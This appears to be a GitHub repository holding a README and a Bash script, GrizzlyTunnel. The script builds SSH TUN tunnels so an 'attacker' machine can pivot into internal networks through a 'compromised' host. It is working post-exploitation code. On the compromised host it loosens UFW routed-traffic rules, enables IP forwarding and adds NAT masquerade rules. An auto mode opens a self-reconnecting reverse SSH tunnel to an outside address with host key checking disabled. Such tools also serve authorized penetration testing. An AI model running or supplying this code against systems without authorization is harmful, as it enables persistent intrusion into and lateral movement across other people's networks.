├── README.md └── GrizzlyTunnel.sh /README.md: -------------------------------------------------------------------------------- 1 | # GrizzlyTunnel 2 | 3 |
4 | Grizzly Tunnel Logo 5 |
6 | 7 | This script is designed to set up TUN adapters and routes for creating a VPN-like network connection between a controlled system and a compromised system. It simplifies the process of configuring network routes and adapters on both systems. The controlled system and compromised system can communicate with each other through the created TUN adapters and specified routes. 8 | 9 | ## Introduction 10 | 11 | This script facilitates the setup of a controlled system and a compromised system for network communication. The controlled system, often acting as the server, controls the VPN connection, while the compromised system, acting as the client, connects to the controlled system through a TUN/TAP adapter. 12 | 13 | ![image](https://github.com/mverschu/GrizzlyTunnel/assets/69352107/a5b29048-00d5-49c3-8a88-fb0724e4dda3) 14 | 15 | ## Usage 16 | 17 | To use this script, you must run it with superuser privileges. It provides several options for setting up and configuring the systems. You can also use it to clean up the configurations on both systems. 18 | 19 | 1. Setup source system with routes that should be accessible trough the tunnel. 20 | 2. Setup target system defining the same routes, this will create IP table rules that tells the traffic to move from the tunnel to the nic that is connected to the target network. 21 | 3. Setup the connection using the command listed when setting up the source system. 22 | 23 | **Note: -s and -t should always be placed at the end of the command.** 24 | 25 | ## Demo 26 | 27 | **Setup source:** 28 | 29 | Run **'sudo su'** on both machines to execute as root. 30 | 31 | Attacker machine where you need to connect to a network through another system that is actually connected to that network. 32 | 33 | ```bash 34 | ./GrizzlyTunnel.sh -r routes.txt -s 35 | [+] Changed SSH configuration on the controlled system 36 | [+] Added IP to tun1 37 | [+] tun1 link is now up 38 | [+] Set up routing rule for route 10.60.1.0/24 39 | [+] Set up routing rule for route 10.60.36.0/24 40 | [+] Set up routing rule for route 10.60.32.0/24 41 | [+] Set up routing rule for route 10.60.35.0/24 42 | [+] Set up routing rule for route 10.60.0.0/24 43 | [+] Set up routing rule for route 10.60.34.0/24 44 | [+] Set up routing rule for route 10.60.33.0/24 45 | [!] To complete the setup for VPN connection, on the target host, run: 46 | [!] sudo ./GrizzlyTunnel.sh -r -t -i 47 | ``` 48 | 49 | **Setup target:** 50 | 51 | The machine that is connected to the network you want to access from the attacker (source) machine. 52 | 53 | ```bash 54 | ./GrizzlyTunnel.sh -r routes.txt -i eth0 -t 55 | [+] Adding tuntap device tun0 for user root 56 | [+] Adding ip address to tun0 57 | [+] Activating tun0 58 | [+] Ran modprobe tun 59 | [!] IP forwarding is already enabled 60 | [+] Added route for 10.10.255.2 via 10.10.255.1 dev tun0 61 | [!] Added iptable rule for 10.60.1.0/24 on eth0 ! 62 | [!] Added iptable rule for 10.60.36.0/24 on eth0 ! 63 | [!] Added iptable rule for 10.60.32.0/24 on eth0 ! 64 | [!] Added iptable rule for 10.60.35.0/24 on eth0 ! 65 | [!] Added iptable rule for 10.60.0.0/24 on eth0 ! 66 | [!] Added iptable rule for 10.60.34.0/24 on eth0 ! 67 | [!] Added iptable rule for 10.60.33.0/24 on eth0 ! 68 | [!] To create tunnel run: 69 | ssh -f -N -w 0:1 70 | ``` 71 | 72 | **Profit:** 73 | 74 | After tunnel is created it is possible to use tools from attacker machine to target network using a layer 3 network. 75 | 76 | ```bash 77 | ping 10.60.1.68 78 | PING 10.60.1.68 (10.60.1.68) 56(84) bytes of data. 79 | 64 bytes from 10.60.1.68: icmp_seq=1 ttl=126 time=7.43 ms 80 | 64 bytes from 10.60.1.68: icmp_seq=2 ttl=126 time=8.77 ms 81 | ``` 82 | 83 | ## ToDo 84 | 85 | - Adding support for TAP instead of tun. 86 | - Allow multiple connections using multiple adapters. 87 | 88 | ## Contributing 89 | 90 | Contributions are welcome! If you have suggestions, improvements, or feature requests, feel free to submit a pull 91 | -------------------------------------------------------------------------------- /GrizzlyTunnel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Define color codes 4 | GREEN='\033[0;32m' # Green 5 | BLUE='\033[0;34m' # Blue 6 | CYAN='\033[0;36m' # Cyan 7 | NC='\033[0m' # No Color 8 | auto_username="" 9 | auto_ip="" 10 | 11 | # Function to display the help menu 12 | show_help() { 13 | echo -e "${CYAN}Usage: sudo $0 [OPTIONS]${NC}" 14 | echo -e "${BLUE}Options:${NC}" 15 | echo " -h, --help Display this help menu" 16 | echo " -s, --source Set up the controlled system" 17 | echo " -t, --target Set up the compromised system" 18 | echo " -r, --routes [route(s)] Add routes (required with -s or -t)" 19 | echo " -i, --interface Specify the outgoing interface (default: eth0)" 20 | echo " -a, --auto [username] [ipaddress] Automatically connect using SSH tunnel (only supported using pub/priv key)" 21 | echo " -m, --interactive Start interactive menu" 22 | echo " --cleanup [source|target] Remove setup for controlled or compromised system" 23 | echo "" 24 | echo -e "${CYAN}Example usage:${NC}" 25 | echo " To set up the controlled system with a single route:" 26 | echo " sudo $0 -r 10.60.1.0/24 -s" 27 | echo " To set up the target system with a single route:" 28 | echo " sudo $0 -r 10.60.1.0/24 -i enps1 -t" 29 | echo " To set up the target system to automatically connect back (polling system):" 30 | echo " sudo $0 -r routes.txt -i enps1 --auto whitehat 123.123.123.123" 31 | echo "" 32 | } 33 | 34 | # Interactive mode function 35 | interactive_menu() { 36 | while true; do 37 | 38 | echo "" 39 | echo -e "${GREEN}========================= Interactive Setup Menu =========================${NC}" 40 | echo -e "${BLUE}Hostname: $(hostname) | OS: $(lsb_release -d | cut -f2) | Kernel: $(uname -r) ${NC}" 41 | echo -e "${BLUE}1.${NC} Set up controlled system" 42 | echo -e "${BLUE}2.${NC} Set up compromised system" 43 | echo -e "${BLUE}3.${NC} Add extra routes" 44 | echo -e "${BLUE}4.${NC} Cleanup" 45 | echo -e "${BLUE}7.${NC} Exit" 46 | echo -n "Select an option> " 47 | read -r choice 48 | 49 | case "$choice" in 50 | 1) 51 | echo -n "Enter route(s) (comma-separated or file): " 52 | read -r routes 53 | change_ssh_config_controlled 54 | setup_controlled_system 55 | ;; 56 | 2) 57 | echo -n "Enter route(s) (comma-separated or file): " 58 | read -r routes 59 | echo -n "Enter outgoing interface: " 60 | read -r interface 61 | setup_compromised_system 62 | ;; 63 | 3) 64 | echo -n "Enter route(s) (comma-separated or file): " 65 | read -r routes 66 | add_routes "$routes" "$interface" 67 | ;; 68 | 4) 69 | echo "Select system to clean up:" 70 | echo " 1. Controlled system" 71 | echo " 2. Compromised system" 72 | echo -n "Enter choice: " 73 | read -r cleanup_choice 74 | if [ "$cleanup_choice" -eq 1 ]; then 75 | cleanup_controlled_system 76 | elif [ "$cleanup_choice" -eq 2 ]; then 77 | cleanup_compromised_system 78 | else 79 | echo "Invalid choice." 80 | fi 81 | ;; 82 | 7) 83 | echo "Exiting interactive mode." 84 | break 85 | ;; 86 | *) 87 | echo "Invalid option. Please try again." 88 | ;; 89 | esac 90 | done 91 | } 92 | 93 | # Function to add routes 94 | add_routes() { 95 | local routes=$1 96 | local device=$2 97 | local route 98 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes 99 | for route in "${route_array[@]}"; do 100 | # Display a message for each route 101 | echo "[+] Adding route: $route via $device dev tun0" 102 | done 103 | } 104 | 105 | # Function to change SSH configuration on the controlled system 106 | change_ssh_config_controlled() { 107 | # Check if the PermitTunnel directive is already present and uncommented 108 | if grep -q "^\s*PermitTunnel yes" /etc/ssh/sshd_config; then 109 | echo "[+] SSH configuration already includes PermitTunnel yes" 110 | else 111 | # Remove any commented-out PermitTunnel directive and add the active one 112 | sed -i '/^#\?PermitTunnel/d' /etc/ssh/sshd_config 113 | echo "PermitTunnel yes" >> /etc/ssh/sshd_config 114 | echo "[+] Added PermitTunnel yes to SSH configuration on the controlled system" 115 | fi 116 | 117 | # Check if the ClientAliveInterval directive is present and remove it if found 118 | if grep -q "^\s*ClientAliveInterval" /etc/ssh/sshd_config; then 119 | sed -i '/ClientAliveInterval/d' /etc/ssh/sshd_config 120 | echo "[+] Removed ClientAliveInterval from SSH configuration" 121 | fi 122 | 123 | # Check if the ClientAliveCountMax directive is present and remove it if found 124 | if grep -q "^\s*ClientAliveCountMax" /etc/ssh/sshd_config; then 125 | sed -i '/ClientAliveCountMax/d' /etc/ssh/sshd_config 126 | echo "[+] Removed ClientAliveCountMax from SSH configuration" 127 | fi 128 | 129 | # Add the ClientAliveInterval and ClientAliveCountMax directives 130 | echo "ClientAliveInterval 60" >> /etc/ssh/sshd_config 131 | echo "ClientAliveCountMax 3" >> /etc/ssh/sshd_config 132 | echo "[+] Added ClientAliveInterval and ClientAliveCountMax to SSH configuration on the controlled system" 133 | 134 | # Restart the SSH service to apply the changes 135 | systemctl restart ssh 136 | echo "[+] SSH service restarted" 137 | } 138 | 139 | wait_for_ssh_connection() { 140 | local icmp_received=0 141 | 142 | # Start monitoring ICMP packets directed towards 10.10.255.2 on the tun1 interface 143 | while [ $icmp_received -eq 0 ]; do 144 | tcpdump_output=$(tcpdump -i tun1 -n icmp and dst host 10.10.255.2 -c 1 2>/dev/null) 145 | if echo "$tcpdump_output" | grep -q "ICMP echo request"; then 146 | icmp_received=1 147 | break 148 | fi 149 | done 150 | 151 | if [ $icmp_received -eq 1 ]; then 152 | echo -e "${GREEN}[✓] ICMP packet received... Happy Hacking! :)${NC}" 153 | else 154 | echo "[!] No ICMP packet received yet." 155 | fi 156 | } 157 | 158 | # Function to set up the controlled system 159 | setup_controlled_system() { 160 | # Implement controlled system setup steps 161 | ip tuntap add dev tun1 mode tun 162 | ip addr add 10.10.255.2/30 dev tun1 163 | echo "[+] Added IP to tun1" 164 | ip link set dev tun1 up 165 | echo "[+] tun1 link is now up" 166 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes 167 | for route in "${route_array[@]}"; do 168 | ip route add "$route" via 10.10.255.1 dev tun1 169 | echo "[+] Set up routing rule for route $route" 170 | done 171 | 172 | # Display additional messages 173 | echo "[+] Adding ICMP allow on tun1 for monitoring purposes" 174 | iptables -A INPUT -i tun1 -p icmp --icmp-type echo-request -j ACCEPT 175 | echo "[!] To complete the setup for VPN connection, on the target host, run:" 176 | echo "[!] sudo $0 -r -i -t" 177 | wait_for_ssh_connection 178 | } 179 | 180 | # Function to set up the compromised system 181 | setup_compromised_system() { 182 | # Check and configure UFW if enabled 183 | if command -v ufw >/dev/null; then 184 | ufw_status=$(sudo ufw status verbose | grep -i "Status:" | awk '{print $2}') 185 | if [[ "$ufw_status" == "active" ]]; then 186 | routed_status=$(sudo ufw status verbose | grep -i "Default:" | grep "routed" | awk '{print $6}') 187 | if [[ "$routed_status" == "deny" ]]; then 188 | echo "[+] UFW routed traffic is denied. Changing to allow." 189 | sudo ufw default allow routed >/dev/null 2>&1 190 | ufw_routed_changed=true 191 | else 192 | echo "[+] UFW routed traffic is already allowed. No changes made." 193 | ufw_routed_changed=false 194 | fi 195 | else 196 | echo "[+] UFW is not active. No changes required." 197 | ufw_routed_changed=false 198 | fi 199 | else 200 | echo "[!] UFW is not installed or available. Skipping UFW configuration." 201 | ufw_routed_changed=false 202 | fi 203 | 204 | # Write the status to /tmp 205 | echo "ufw_routed_changed=$ufw_routed_changed" > /tmp/ufw_routed_status.txt 206 | 207 | # Implement compromised system setup steps 208 | ip tuntap add dev tun0 mode tun user root 209 | 210 | echo "[+] Adding tuntap device tun0 for user root" 211 | ip addr add 10.10.255.1/30 dev tun0 212 | echo "[+] Adding ip address to tun0" 213 | ip link set dev tun0 up 214 | echo "[+] Activating tun0" 215 | modprobe tun 216 | echo "[+] Ran modprobe tun" 217 | # Check if IP forwarding is already enabled 218 | current_ip_forward_setting=$(sysctl -n net.ipv4.ip_forward) 219 | if [ "$current_ip_forward_setting" -eq 0 ]; then 220 | sysctl -w net.ipv4.ip_forward=1 221 | echo "[+] Enabled IP forwarding" 222 | else 223 | echo "[!] IP forwarding is already enabled" 224 | fi 225 | ip route add 10.10.255.2 via 10.10.255.1 dev tun0 226 | echo "[+] Added route for 10.10.255.2 via 10.10.255.1 dev tun0" 227 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes 228 | for route in "${route_array[@]}"; do 229 | iptables -t nat -A POSTROUTING -d $route -o $interface -j MASQUERADE 230 | echo "[!] Added iptable rule for $route on $interface !" 231 | done 232 | 233 | # Create the SSH tunnel 234 | echo "[!] To create tunnel run:" 235 | echo -e "${GREEN}ssh -f -N -w 0:1 ${NC}" 236 | } 237 | 238 | setup_auto_compromised_system() { 239 | # Function to check if the SSH tunnel is active 240 | check_connection() { 241 | ping -c 1 -W 5 10.10.255.2 > /dev/null 2>&1 242 | } 243 | 244 | # Function to terminate old SSH processes 245 | terminate_old_connections() { 246 | # Use pgrep to find SSH processes associated with the script 247 | for pid in $(pgrep -f "ssh -o StrictHostKeyChecking=no -f -N -w 0:1 $auto_username@$auto_ip"); do 248 | # Check if the process still exists 249 | if kill -0 "$pid" 2>/dev/null; then 250 | echo "[!] Terminating old SSH process: $pid" 251 | kill "$pid" 252 | else 253 | # Process doesn't exist anymore, remove it from the list 254 | echo "[!] Process $pid already terminated or doesn't exist." 255 | fi 256 | done 257 | } 258 | 259 | # Implement compromised system setup steps 260 | ip tuntap add dev tun0 mode tun user root 261 | 262 | echo "[+] Adding tuntap device tun0 for user root" 263 | ip addr add 10.10.255.1/30 dev tun0 264 | echo "[+] Adding ip address to tun0" 265 | ip link set dev tun0 up 266 | echo "[+] Activating tun0" 267 | modprobe tun 268 | echo "[+] Ran modprobe tun" 269 | # Check if IP forwarding is already enabled 270 | current_ip_forward_setting=$(sysctl -n net.ipv4.ip_forward) 271 | if [ "$current_ip_forward_setting" -eq 0 ]; then 272 | sysctl -w net.ipv4.ip_forward=1 273 | echo "[+] Enabled IP forwarding" 274 | else 275 | echo "[!] IP forwarding is already enabled" 276 | fi 277 | ip route add 10.10.255.2 via 10.10.255.1 dev tun0 278 | echo "[+] Added route for 10.10.255.2 via 10.10.255.1 dev tun0" 279 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes 280 | for route in "${route_array[@]}"; do 281 | iptables -t nat -A POSTROUTING -d $route -o $interface -j MASQUERADE 282 | echo "[!] Added iptable rule for $route on $interface !" 283 | done 284 | 285 | # Create the SSH tunnel initially and store its PID 286 | ssh -o StrictHostKeyChecking=no -f -N -w 0:1 "$auto_username@$auto_ip" 287 | # Store the PID of the initial SSH process 288 | initial_ssh_pid=$! 289 | old_connection_pids+=("$initial_ssh_pid") 290 | # List to store old connection process IDs 291 | declare -a old_connection_pids 292 | 293 | # Monitor and automatically reconnect if the connection is lost 294 | while true; do 295 | # Check if the connection is active 296 | if ! check_connection; then 297 | echo "[!] Connection lost. Reconnecting..." 298 | # Terminate old SSH processes 299 | terminate_old_connections 300 | # Close any existing SSH control socket 301 | ssh -O exit -S "$CONTROL_SOCKET" > /dev/null 2>&1 302 | # Create the SSH tunnel again and store its process ID 303 | ssh -o StrictHostKeyChecking=no -f -N -w 0:1 "$auto_username@$auto_ip" & 304 | # Store the new SSH process ID 305 | new_pid=$! 306 | old_connection_pids+=("$new_pid") 307 | echo "[!] SSH tunnel recreated." 308 | else 309 | echo "[✓] Connection is active." 310 | fi 311 | # Wait for a few seconds before checking again 312 | sleep 10 313 | done 314 | } 315 | 316 | cleanup_controlled_system() { 317 | if [ -n "$routes" ]; then 318 | # Remove added route 319 | echo "[-] Removed routes." 320 | ip route del "$routes" via 10.10.255.2 dev tun1 321 | fi 322 | # Remove TUN/TAP adapter 323 | ip link del tun1 324 | 325 | # Check and remove PermitTunnel setting 326 | if grep -q "^\s*PermitTunnel yes" /etc/ssh/sshd_config; then 327 | sed -i '/PermitTunnel yes/d' /etc/ssh/sshd_config 328 | echo "[-] Removed PermitTunnel yes from SSH configuration" 329 | fi 330 | 331 | # Check and remove ClientAliveInterval setting 332 | if grep -q "^\s*ClientAliveInterval" /etc/ssh/sshd_config; then 333 | sed -i '/ClientAliveInterval/d' /etc/ssh/sshd_config 334 | echo "[-] Removed ClientAliveInterval from SSH configuration" 335 | fi 336 | 337 | # Check and remove ClientAliveCountMax setting 338 | if grep -q "^\s*ClientAliveCountMax" /etc/ssh/sshd_config; then 339 | sed -i '/ClientAliveCountMax/d' /etc/ssh/sshd_config 340 | echo "[-] Removed ClientAliveCountMax from SSH configuration" 341 | fi 342 | 343 | # Restart the SSH service to apply the changes 344 | systemctl restart ssh 345 | echo "[!] Cleaned up the controlled system" 346 | } 347 | 348 | # Function to remove the setup on the compromised system 349 | cleanup_compromised_system() { 350 | IFS=',' read -ra route_array <<< "$routes" # Split comma-separated routes 351 | for route in "${route_array[@]}"; do 352 | iptables-save | grep -v "$route" | iptables-restore 353 | echo "[-] Removed NAT rule(s) for route(s) $route" 354 | done 355 | # Remove added route 356 | ip route del 10.10.255.2 via 10.10.255.1 dev tun0 357 | # Remove TUN/TAP adapter 358 | ip link del tun0 359 | 360 | # Restore UFW routed default if changed 361 | if [ -f /tmp/ufw_routed_status.txt ]; then 362 | source /tmp/ufw_routed_status.txt 363 | if [ "$ufw_routed_changed" = true ]; then 364 | echo "[+] Restoring UFW routed traffic default to deny." 365 | sudo ufw default deny routed >/dev/null 2>&1 366 | fi 367 | else 368 | echo "[!] No UFW routed status file found. Skipping restoration." 369 | fi 370 | 371 | echo "[!] Cleaned up the compromised system" 372 | } 373 | 374 | # Main script 375 | if [ "$#" -eq 0 ]; then 376 | show_help 377 | exit 1 378 | fi 379 | 380 | if [[ $EUID -ne 0 ]]; then 381 | echo "This script must be run with sudo to create TUN/TAP adapters." 382 | exit 1 383 | fi 384 | 385 | # Process arguments and enforce combinations 386 | while [[ $# -gt 0 ]]; do 387 | case "$1" in 388 | -h | --help) 389 | show_help 390 | exit 0 391 | ;; 392 | -m | --interactive) 393 | interactive_menu 394 | exit 0 395 | ;; 396 | -r | --routes) 397 | if [ -n "$2" ]; then 398 | if [ -f "$2" ]; then 399 | routes=$(cat "$2") 400 | else 401 | routes="$2" 402 | fi 403 | shift 404 | else 405 | echo "[-] No routes specified. Use a valid route like '10.60.1.0/24' or a file containing routes." 406 | exit 1 407 | fi 408 | ;; 409 | -i | --interface) 410 | if [ -n "$2" ]; then 411 | interface="$2" 412 | shift 413 | else 414 | echo "[-] No interface specified. Using default interface: eth0." 415 | fi 416 | ;; 417 | -s | --source) 418 | source_option=true 419 | if [ -z "$routes" ]; then 420 | echo "[-] The -s or --source option requires the -r or --routes option." 421 | show_help 422 | exit 1 423 | fi 424 | change_ssh_config_controlled 425 | setup_controlled_system 426 | ;; 427 | -t | --target) 428 | if [ -z "$routes" ] || [ -z "$interface" ]; then 429 | echo "[-] The -t or --target option requires the -r or --routes option and the -i or --interface option." 430 | show_help 431 | exit 1 432 | fi 433 | if [ -n "$auto_username" ] && [ -n "$auto_ip" ]; then 434 | setup_auto_compromised_system 435 | else 436 | setup_compromised_system 437 | fi 438 | ;; 439 | -a | --auto) 440 | if [ -z "$routes" ] || [ -z "$interface" ]; then 441 | echo "[-] Routes, interface, username, ip address are required arguments for --auto." 442 | show_help 443 | exit 1 444 | else 445 | auto_username="$2" 446 | auto_ip="$3" 447 | setup_auto_compromised_system 448 | fi 449 | ;; 450 | --cleanup) 451 | if [ -n "$2" ]; then 452 | case "$2" in 453 | source) 454 | cleanup_controlled_system 455 | ;; 456 | target) 457 | cleanup_compromised_system 458 | ;; 459 | *) 460 | echo "Invalid argument for --cleanup. Use 'source' or 'target'." 461 | show_help 462 | exit 1 463 | ;; 464 | esac 465 | shift 466 | else 467 | echo "[-] No argument specified for --cleanup. Use 'source' or 'target'." 468 | exit 1 469 | fi 470 | ;; 471 | *) 472 | echo "Invalid option: $1" 473 | show_help 474 | exit 1 475 | ;; 476 | esac 477 | shift 478 | done 479 | --------------------------------------------------------------------------------